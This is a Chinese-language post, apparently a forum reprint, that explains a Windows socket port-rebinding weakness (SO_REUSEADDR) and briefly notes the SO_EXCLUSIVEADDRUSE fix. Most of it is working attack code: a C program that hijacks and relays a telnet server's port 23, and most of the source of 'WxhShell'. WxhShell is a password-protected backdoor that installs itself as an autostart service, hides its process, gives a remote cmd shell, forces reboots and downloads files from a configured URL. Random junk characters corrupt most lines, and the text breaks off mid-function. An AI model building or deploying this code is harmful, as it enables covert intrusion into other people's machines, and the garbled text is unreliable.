在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
xkw=os s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
p!8phS#iP 6bc\
)n` saddr.sin_family = AF_INET;
"OA{[)fw" !zm;C@}ln saddr.sin_addr.s_addr = htonl(INADDR_ANY);
4;W{#jk M|j=J{r bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
k0O5c[j %LzARTX 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
lz::6} }3 _b%{ 这意味着什么?意味着可以进行如下的攻击:
MoQ\~/Z| <YtjE!2 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Cc*R3vHM6 \'<P~I&p 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
t$~'$kM)< /:Gy . 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
'e' p`* 7i{(,: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*Ow2,{Nn W;cYg.W2 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
YvcV801Go W7b
m}JHn 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
JB].ht ;@Fb>lBhX 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
*!JB^5(H `Fo/RZOW #include
\>pm (gF #include
H<n"[u^@E #include
p/RT*?< #include
jwAYlnQ^EM DWORD WINAPI ClientThread(LPVOID lpParam);
)gSqO{Z int main()
T@i*
F M {
3 (\D.Z WORD wVersionRequested;
TwI s_r: DWORD ret;
[:#K_EI5% WSADATA wsaData;
hmd3W`8D BOOL val;
J{prI;]K SOCKADDR_IN saddr;
A9 g%> SOCKADDR_IN scaddr;
mICEJ\`x int err;
Y1I)w^}: SOCKET s;
xlJWCA*> SOCKET sc;
=#[oi3k int caddsize;
K)mQcB-"? HANDLE mt;
@`C'tfG/4 DWORD tid;
:o{,F7(P wVersionRequested = MAKEWORD( 2, 2 );
\>Rfa+ err = WSAStartup( wVersionRequested, &wsaData );
=WW5H\? if ( err != 0 ) {
WEe7\bWF printf("error!WSAStartup failed!\n");
(@5`beEd return -1;
RPgz"- }
8$A0q%n saddr.sin_family = AF_INET;
l#1#3F m<-!~ ew //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
!pw)sO~ \q1tT!] saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
{~ F|"v saddr.sin_port = htons(23);
;J,(YNI
1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)V2W:M {
n.2:fk printf("error!socket failed!\n");
X:g5;NT return -1;
>bze0`}Z }
jb&MC2 val = TRUE;
,7Hyrx` //SO_REUSEADDR选项就是可以实现端口重绑定的
4 O8ct,Y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
ga%\n!S {
N=<`|I printf("error!setsockopt failed!\n");
!Z:XSF[T return -1;
xt?-X%oY8 }
+|obU9M //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"4\ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>bf.T7wy //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
cZ:jht j@z IJ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Mg`!tFe3 {
)&j`5sSXcr ret=GetLastError();
K9k!P8Rd printf("error!bind failed!\n");
Mi8)r_l%O return -1;
f_S$CFa@ }
6[A\cs listen(s,2);
MIIl+ while(1)
T[|#DMg$F {
.<`)`:n+B caddsize = sizeof(scaddr);
-/JEKwc //接受连接请求
fasWb&~z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
IHO*%3mA/ if(sc!=INVALID_SOCKET)
Mc@9ivwL# {
V)<>W_g mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
NLMvi!5w, if(mt==NULL)
eW(pP>@k, {
3E|||3rf printf("Thread Creat Failed!\n");
fAULuF break;
1PwtzH.w }
Hloe7+5UD }
%`&n ;K.c CloseHandle(mt);
.pUB.l$) }
k-|g closesocket(s);
ZR}v_]l^ WSACleanup();
ZTzec zXpQ return 0;
8IlUbj }
dP8qP_77A~ DWORD WINAPI ClientThread(LPVOID lpParam)
,IPt4EH$ {
; CCg]hX SOCKET ss = (SOCKET)lpParam;
F6q=W#~ SOCKET sc;
CqnHh@]nu unsigned char buf[4096];
Z5q%L!4G SOCKADDR_IN saddr;
x *I'Ar long num;
;-u]@35 DWORD val;
qIZ+%ZOu DWORD ret;
.jQx2O //如果是隐藏端口应用的话,可以在此处加一些判断
ElW\;C:K* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
n>v1<^ saddr.sin_family = AF_INET;
aH6j,R% saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
FAnz0p+t saddr.sin_port = htons(23);
-w"I if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^&YtZjV {
X
<xM ' printf("error!socket failed!\n");
v)du] return -1;
kc2B_+Y1 }
lu{
*]! val = 100;
7I[[S!((s if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,h^6y {
@H?OHpJ"` ret = GetLastError();
\ZcI{t'a return -1;
`?$-T5Rr }
6n2RT H if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%_E5B6xi{ {
)isS^O$qH ret = GetLastError();
\2/X$x<?X return -1;
KcV"<9rE }
{Ycgq%1>] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Lmjd,t {
VDnrm* printf("error!socket connect failed!\n");
e2=}qE7 closesocket(sc);
DL,R~ closesocket(ss);
rwDLBpk return -1;
hXI[FICQU{ }
\xS X'/G while(1)
|gA@$1+} {
$CB&>?~ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
bq7+l4CGTv //如果是嗅探内容的话,可以再此处进行内容分析和记录
A/=cGE //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Kc]cJ`P4. num = recv(ss,buf,4096,0);
O])vR< [ if(num>0)
R,D/:k'~k send(sc,buf,num,0);
=&pR=vl else if(num==0)
-!+i
^r break;
^kNVQJiZyG num = recv(sc,buf,4096,0);
`P\H{ if(num>0)
nycJZ}f:wP send(ss,buf,num,0);
0i[t[_sce else if(num==0)
e[x,@P` break;
>
U3>I^Y }
a'`i#U closesocket(ss);
<6]Hj2 closesocket(sc);
.nIGs'P return 0 ;
,Z|O y|+' }
51s\)d%l N''xdz3Z 0 F8xS8vK+ ==========================================================
N/-(~r[ <8%+-[(
下边附上一个代码,,WXhSHELL
0e>?!Z
E fPN/Mxu ==========================================================
&z3_N f4<~_ZGr #include "stdafx.h"
KX x+J}n J8FzQ2 #include <stdio.h>
5D3&E_S #include <string.h>
~ xam ;]2 #include <windows.h>
K&._fG #include <winsock2.h>
Q>yj<DR #include <winsvc.h>
n"iaE #include <urlmon.h>
LU*mR{B MeV4s%*O+ #pragma comment (lib, "Ws2_32.lib")
x?6^EB|@ #pragma comment (lib, "urlmon.lib")
0* ^f
EoV 8fvKVS #define MAX_USER 100 // 最大客户端连接数
'lC=k7@x #define BUF_SOCK 200 // sock buffer
Lo'GfHE #define KEY_BUFF 255 // 输入 buffer
E]{0lG`l -[=@'NP #define REBOOT 0 // 重启
lh0G/8+C #define SHUTDOWN 1 // 关机
`h'Ab63 K:4G(?w #define DEF_PORT 5000 // 监听端口
z,qNuv"W 4wS!g10 } #define REG_LEN 16 // 注册表键长度
/$8& r #define SVC_LEN 80 // NT服务名长度
*}r6V"pH~ Nde1`W]: // 从dll定义API
i+-=I+L3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
}&ew}'*9) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
+ZwTi!W typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
`EP-Qlm typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
q<g!bW% Mv%B#J // wxhshell配置信息
='/#G0W struct WSCFG {
wGz_IL.D int ws_port; // 监听端口
CwEb ? char ws_passstr[REG_LEN]; // 口令
\bSakh71 int ws_autoins; // 安装标记, 1=yes 0=no
SZgan char ws_regname[REG_LEN]; // 注册表键名
s;[64ca]Q char ws_svcname[REG_LEN]; // 服务名
\Zk<|T61$ char ws_svcdisp[SVC_LEN]; // 服务显示名
,l)AYu!q4F char ws_svcdesc[SVC_LEN]; // 服务描述信息
e+MsFXnB8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
K!88 Nox( int ws_downexe; // 下载执行标记, 1=yes 0=no
j;rxr1+w char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
T6,6lll char ws_filenam[SVC_LEN]; // 下载后保存的文件名
/3`fO^39Ta zt
)WX9 };
1$c[G}h L-3wez;hm // default Wxhshell configuration
na/,1iI< struct WSCFG wscfg={DEF_PORT,
# f{L; "xuhuanlingzhe",
VS<w:{* 1,
apm,$Vvjy "Wxhshell",
MB5X$5it "Wxhshell",
L:_pJP "WxhShell Service",
4kLTKm:G "Wrsky Windows CmdShell Service",
Bv=:F5hLG "Please Input Your Password: ",
dC}4Er 1,
4vPKDd "
http://www.wrsky.com/wxhshell.exe",
Z@>WUw@F "Wxhshell.exe"
$5yH8JU };
`X wKCI M#]URS2h<O // 消息定义模块
'~Gk{'Nx" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
}D#[yE,=\ char *msg_ws_prompt="\n\r? for help\n\r#>";
Ru`7Xd. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
q/\Hh9` char *msg_ws_ext="\n\rExit.";
{cYbM[}U" char *msg_ws_end="\n\rQuit.";
"CWqPcr char *msg_ws_boot="\n\rReboot...";
UXV>#U? char *msg_ws_poff="\n\rShutdown...";
`lq[6[n char *msg_ws_down="\n\rSave to ";
h|&qWv RjQdlr6* char *msg_ws_err="\n\rErr!";
qgLj^{ char *msg_ws_ok="\n\rOK!";
x\XOtjJr N]@e7P'9F char ExeFile[MAX_PATH];
u'EzYJ7 int nUser = 0;
xYWg1e$k HANDLE handles[MAX_USER];
8:(e~?
f6 int OsIsNt;
>5=uq
_QY 8Ow0A SERVICE_STATUS serviceStatus;
~f>km|Q{u SERVICE_STATUS_HANDLE hServiceStatusHandle;
_LSf
) z}m)u // 函数声明
k7Z1Y!n7 int Install(void);
:>otlI<0t int Uninstall(void);
{VrjDj+Xy int DownloadFile(char *sURL, SOCKET wsh);
[6t!}q int Boot(int flag);
/WKp\r(Hp void HideProc(void);
q!zsGf{ int GetOsVer(void);
0FD+iID int Wxhshell(SOCKET wsl);
LK[%}2me void TalkWithClient(void *cs);
Syj7K*,%bZ int CmdShell(SOCKET sock);
Enj],I int StartFromService(void);
gkyv[ int StartWxhshell(LPSTR lpCmdLine);
pI|H9 FsYsQ_,R3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
D#,P-0+% VOID WINAPI NTServiceHandler( DWORD fdwControl );
Xz, sL oUwu:&<Orm // 数据结构和表定义
K+_$
WT_ SERVICE_TABLE_ENTRY DispatchTable[] =
q9&d24| {
"Aq-H g {wscfg.ws_svcname, NTServiceMain},
GM<r{6Qy {NULL, NULL}
"~lGSWcU };
x
p#+{} wN
![SM/+ // 自我安装
yXx}'=&!0 int Install(void)
ES#K'Lf {
oLXQ#{([ char svExeFile[MAX_PATH];
3%W
R HKEY key;
5'Fh_TXTD strcpy(svExeFile,ExeFile);
#Mz N7 "3i=kvdz // 如果是win9x系统,修改注册表设为自启动
M/,jHG8v if(!OsIsNt) {
[=Yfdh
M8S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*?`:= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_YH)E^If RegCloseKey(key);
FFNv'\) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
e_BOzN~c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
J8"Cw<=O RegCloseKey(key);
;?9u#FRtw return 0;
h.6yI }
8L?35[]e }
K6.*)7$# }
eFPDW; else {
}>w;(R /EOtK|E // 如果是NT以上系统,安装为系统服务
;!k1LfN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
\7}X^]UV x if (schSCManager!=0)
MOFIR
wVZ+ {
10JxfDceD SC_HANDLE schService = CreateService
r)dT,X[}F (
pt;kN&A^ schSCManager,
wL2d.$?TEg wscfg.ws_svcname,
X}yEMe{T wscfg.ws_svcdisp,
mb*L'y2r SERVICE_ALL_ACCESS,
J}coWjw`q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
cvbv\G'aT SERVICE_AUTO_START,
;&|ja]r SERVICE_ERROR_NORMAL,
(d[)U< svExeFile,
%cD7}o:u NULL,
@>J4K#" NULL,
:Q\b$=,: NULL,
&Q^M[X NULL,
?Ee HeN_ NULL
#{ M$%l> );
gUCv#: if (schService!=0)
tWi@_Rlx; {
p3*}! ez4 CloseServiceHandle(schService);
"6n~,$ CloseServiceHandle(schSCManager);
X+{4,?04+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
x~}RL-Y2o strcat(svExeFile,wscfg.ws_svcname);
Rtn.cSd if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
1dOVH7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Z-b^{uP RegCloseKey(key);
+"a .,-f! return 0;
p~28?lYv }
;KmSz 1A }
S"w$#"EJA CloseServiceHandle(schSCManager);
E'e#axF; }
`ejE)VL=8h }
jd=k[Yqr O'" &9 return 1;
v\t$. _at }
. #;ZM[v W\zg#5fmK // 自我卸载
<?,o
{ int Uninstall(void)
~xu<xy@E {
pSASMc@ HKEY key;
b IcLMG
s 9xC,i
) if(!OsIsNt) {
V$-IRdb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(eN\s98)/ RegDeleteValue(key,wscfg.ws_regname);
:M1S*"&: RegCloseKey(key);
uA:|#mO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
IyYC).wU} RegDeleteValue(key,wscfg.ws_regname);
dV8mI,h RegCloseKey(key);
1Af~6jz return 0;
[z`U9J }
o8RagSIo8 }
a>Uk<#>2?a }
) ]U-7 else {
Zo22se0) #Z}\;a{vZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
+BM (0M+ if (schSCManager!=0)
9~<HTH {
RT8xU;
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
YrjF1hJ if (schService!=0)
*\I?gDON {
xRJv_=dT if(DeleteService(schService)!=0) {
w:Tz&$&Y$ CloseServiceHandle(schService);
c{6!}0Q4 CloseServiceHandle(schSCManager);
H6x~mZu_:T return 0;
^:\|6`{n }
g` 6Xrf CloseServiceHandle(schService);
2md1GWyP }
G{i}z^n CloseServiceHandle(schSCManager);
!t{3IE }
7<oLe3fbM }
x;l\#x/< Lc f =)GL return 1;
)Rn}4)9!iT }
$VhUZGuG> "CB* // 从指定url下载文件
C6ZM#}I$l int DownloadFile(char *sURL, SOCKET wsh)
d90B15]gv {
Z+=W gEu1 HRESULT hr;
lKrD.iYt8 char seps[]= "/";
j Aw&5, char *token;
_+S`[:;a char *file;
i))S%!/r~ char myURL[MAX_PATH];
m{
.'55 char myFILE[MAX_PATH];
1T a48 {5QIQ strcpy(myURL,sURL);
IqJ7'X token=strtok(myURL,seps);
$73 7oV< while(token!=NULL)
:^tw!U%y1 {
j-8v$0' file=token;
v*SSc5gFG token=strtok(NULL,seps);
AA"?2dF }
obKWnet 9bRlSb@ GetCurrentDirectory(MAX_PATH,myFILE);
U:ggZ`. strcat(myFILE, "\\");
0f}zm8p7. strcat(myFILE, file);
eVyXh>b* send(wsh,myFILE,strlen(myFILE),0);
4n @}X-) send(wsh,"...",3,0);
zV_U/]y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
"Kx2k>ym if(hr==S_OK)
U~n>k<`sr return 0;
Veo:G{ else
(xf_ return 1;
5@ecZ2`)+h mD{<Lp= }
"K
n
JUXpl HgPRz C // 系统电源模块
kNP.0 int Boot(int flag)
|7XSC," {
h@}KBK HANDLE hToken;
{"$
Q'T TOKEN_PRIVILEGES tkp;
+b"RZ:tKp bwR_ uF if(OsIsNt) {
ZqT?7 |i OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
4bLk+EY4A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
SIv8EMGo tkp.PrivilegeCount = 1;
"jqC3$DKI tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
^-?5=\`5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<NZ^*] if(flag==REBOOT) {
-.-je"E if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
,e{( r0 return 0;
83~
Gu[ }
sVtxh] else {
<`,pyvR Kv if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
4A^=4"BCV return 0;
!Z[dK{f" }
eIBHAdU+g/ }
9v>BP`Mg else {
g^ZsV:D if(flag==REBOOT) {
eYZ{mo7 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
86igP return 0;
~CiVLSH= }
}`#OA]NZ else {
dR~4*59Bg if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
_9!*laR!2 return 0;
8 #fzL7 }
7hwl[knyB }
=<mpZ'9gW lc9aDt return 1;
Jlw%t!Kx }
/z:pid,_0 g
/D@/AU1u // win9x进程隐藏模块
VP[-BK[ void HideProc(void)
0f~7n*XH {
l^aG"")TH. "D0:Y(\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
3Z=OUhn9 if ( hKernel != NULL )
EV{kd.=f {
g&9E>w T pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
XOgl>1O ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Y2709LWmP FreeLibrary(hKernel);
kx,9n) }
&Fo)ea 6(Za}H return;
7L~LpB }
.BN~9w Lt ;!q b. // 获取操作系统版本
W:D'k^u int GetOsVer(void)
Q-([3% {
jO
xH'1I OSVERSIONINFO winfo;
Q79& Q04XN winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
"#bL/b'{ GetVersionEx(&winfo);
ngF5ywIG if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
vzD3_
?D return 1;
%gj's-!! else
F02S(WWo; return 0;
-L e:%q2 }
W+k`^A|@ 0tbximmDb // 客户端句柄模块
mD }&X7 int Wxhshell(SOCKET wsl)
0l-m:6 {
;#c|ZnX SOCKET wsh;
ly`p)6#R= struct sockaddr_in client;
5Pmmt/Z DWORD myID;
tI50z khaB VsS.\1 while(nUser<MAX_USER)
3/a$oO {
A*l(0`aWq int nSize=sizeof(client);
Mf0!-bu wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Mazjn?f if(wsh==INVALID_SOCKET) return 1;
(?MRbX]@ jU')8m[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
6GVj13Nr if(handles[nUser]==0)
=Ny&`X#F closesocket(wsh);
>XzCHtEP else
<3\t J nUser++;
z_fR?~$N2 }
# Sfz^
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
$ijWwrh F@Bh>Vb return 0;
(WT0j }
S0.
fuJ6
fmT // 关闭 socket
]'Y
vI!r void CloseIt(SOCKET wsh)
lhZWL}l {
xLht6%o* closesocket(wsh);
?>47!):-* nUser--;
J;+AG^U< ExitThread(0);
G'c!82;,? }
F5Ce:+h NJ8QI(^" // 客户端请求句柄
rg
U$&O void TalkWithClient(void *cs)
,=KJ7zIK? {
6hKavzSi @+A`n21,O SOCKET wsh=(SOCKET)cs;
e*gCc7zz char pwd[SVC_LEN];
b6=.6?H@4f char cmd[KEY_BUFF];
u?[P@_i< char chr[1];
k,0RpE int i,j;
FY"!%)TV WE$Pi;q1 while (nUser < MAX_USER) {
"Yw-1h`fR s+?r4t3H! if(wscfg.ws_passstr) {
GCul6,w if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~ar8e //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
N>;"r]Rl" //ZeroMemory(pwd,KEY_BUFF);
LL Oe i=0;
+) 2c\1 while(i<SVC_LEN) {
l= 5kd.{ 2!/*I: // 设置超时
lPm'>,}Y fd_set FdRead;
Eugt~j3 struct timeval TimeOut;
YBQO]3f FD_ZERO(&FdRead);
w#_xV
= FD_SET(wsh,&FdRead);
}8 A] TimeOut.tv_sec=8;
"PGEiLY TimeOut.tv_usec=0;
5}gcJjz int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
l'-dB if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
qNER 6 >69xl^Gd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
p"ht|x pwd
=chr[0]; M$A"<5
if(chr[0]==0xd || chr[0]==0xa) { @TC_XU)&
pwd=0; X
tZ0z?
break; Md'd=Y_0
} [0N==Ym1
i++; VkFTIyt
} l){l*~5zl2
"
M8j?
// 如果是非法用户,关闭 socket 1g{`1[.QO
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H?ssV^k
} q{Hk27kt
YcE:KRy
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O-:#Q(H!
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [>&Nhn0iY
f33'2PYl
while(1) { qJB9z0a<Ov
"v4;m\g&:
ZeroMemory(cmd,KEY_BUFF); a^i`DrX
yd5r]6ej
// 自动支持客户端 telnet标准 laqKP+G
j=0; vjaIFyj
while(j<KEY_BUFF) { iyrUY
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :6PWU$z$7
cmd[j]=chr[0]; x_{ua0BLDf
if(chr[0]==0xa || chr[0]==0xd) { y.5mYQA4=[
cmd[j]=0; 1t=Y+|vA9
break; Ta?#o
} z^I"{eT8
j++; ULMG"."IH
} z~+_sTu
hf0G-r_ow
// 下载文件 mN@)b+~(S
if(strstr(cmd,"http://")) { k=H{gt
send(wsh,msg_ws_down,strlen(msg_ws_down),0); IB
/.i(
if(DownloadFile(cmd,wsh)) |uV1S^!A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "2+>!G RQ
else TbU\qcm]]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wKe^5|Rr
} D4G*K*z,w4
else { _)p@;vGV
>FFZ8=
switch(cmd[0]) { jii2gtu'U
?c"No|@+
// 帮助 :aLShxKA
case '?': { : RnjcnR
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >},O_qx
break; XJ?|\=]
} kf_s.Dedw
// 安装 a+)Yk8%KY
case 'i': { ?RiW:TQ*
if(Install()) ?`AzgM[I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (' /S~
else 71 hv~Nk/x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o DPs xw
break; ?0hk~8c
} R+P,kD?
// 卸载 9~ajEs
case 'r': { k7>* fQ89@
if(Uninstall()) V!3G\*$?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pnca+d
else &\. LhOm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EyI
9$@4
break; 4?><x[l2{
} *y5d&4G2
// 显示 wxhshell 所在路径 k<ku5U1|
case 'p': { D(Zux8l
char svExeFile[MAX_PATH]; k )Z?
strcpy(svExeFile,"\n\r"); yx3M0Qo
strcat(svExeFile,ExeFile); Se*ZQtwE
send(wsh,svExeFile,strlen(svExeFile),0); v+znKpE
break; -5>K
pgXo\
} hZY+dHa]
// 重启 5b0Ipg
case 'b': { jbpnCUzi
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zla5$GM
if(Boot(REBOOT)) ScQJsFE6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8? W\kf$
else { eqD%Qdx
closesocket(wsh); Lx8^V7X
ExitThread(0); xVuGeanCv
} DC]FY|ff
break; ppR~e*rv-
} L q'*B9
// 关机 aN).G1
case 'd': { D}HW7Hnu^
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <po.:c
Ce
if(Boot(SHUTDOWN)) !vr">@}K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \|@]XNSN
else { )+RGXVp
closesocket(wsh); Q
{3"&
ExitThread(0); A~\:}PN
} BEg%u)"([
break; qdCa]n!d
} IxYuJpi
// 获取shell {K*l,U
case 's': { ;s3"j~5m)
CmdShell(wsh); 702&E(rx,
closesocket(wsh); OC#o JwC
ExitThread(0); KG'4;Z5J
break; !Lb9KDk
} 0jrcXN~
// 退出 #i7!
case 'x': { m qPWCFP
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8{6KWqG\
CloseIt(wsh); *P$5k1
break; K~+y<z E
} uDafPTF
// 离开 FGr0W|?v
case 'q': { ] \4-e2N`\
send(wsh,msg_ws_end,strlen(msg_ws_end),0); +&O[}%W
closesocket(wsh); 5G_*T
WSACleanup(); <&8cq@<
exit(1); U/&?rY^|
break; $ZK4Ps -$
} [m|\N
} rD%(*|Y"c
} CP7Zin1S/w
AXH4jQw
// 提示信息 mz+>rc
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xaoaZ3Ko
} #fG!dD42
} b^y#.V.|k
~fAdOh
return; ^ ^}
} Z2PLm0%:
d{9rEB?
// shell模块句柄 4L^KR_h/
int CmdShell(SOCKET sock) XsQ<yeun
{ TcpD*%wW
STARTUPINFO si; 9gn_\!Mp
ZeroMemory(&si,sizeof(si)); >J 3N,f
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QP7EP aW
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gpHI)1i'H
PROCESS_INFORMATION ProcessInfo; zIH[
:
char cmdline[]="cmd"; nDiD7:e7=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5;>M&qmN
return 0; g5V9fnb!d
} fF_1ZKx+#!
GaSk&'n$Y
// 自身启动模式 +TpM7QaL
int StartFromService(void) UB .FX
{ h[C!cX
typedef struct h}q+Dw.i
{ 17$JBQ,[
DWORD ExitStatus; O(~`fN?n
DWORD PebBaseAddress; feIAgd},
DWORD AffinityMask; wx}\0(]Gl
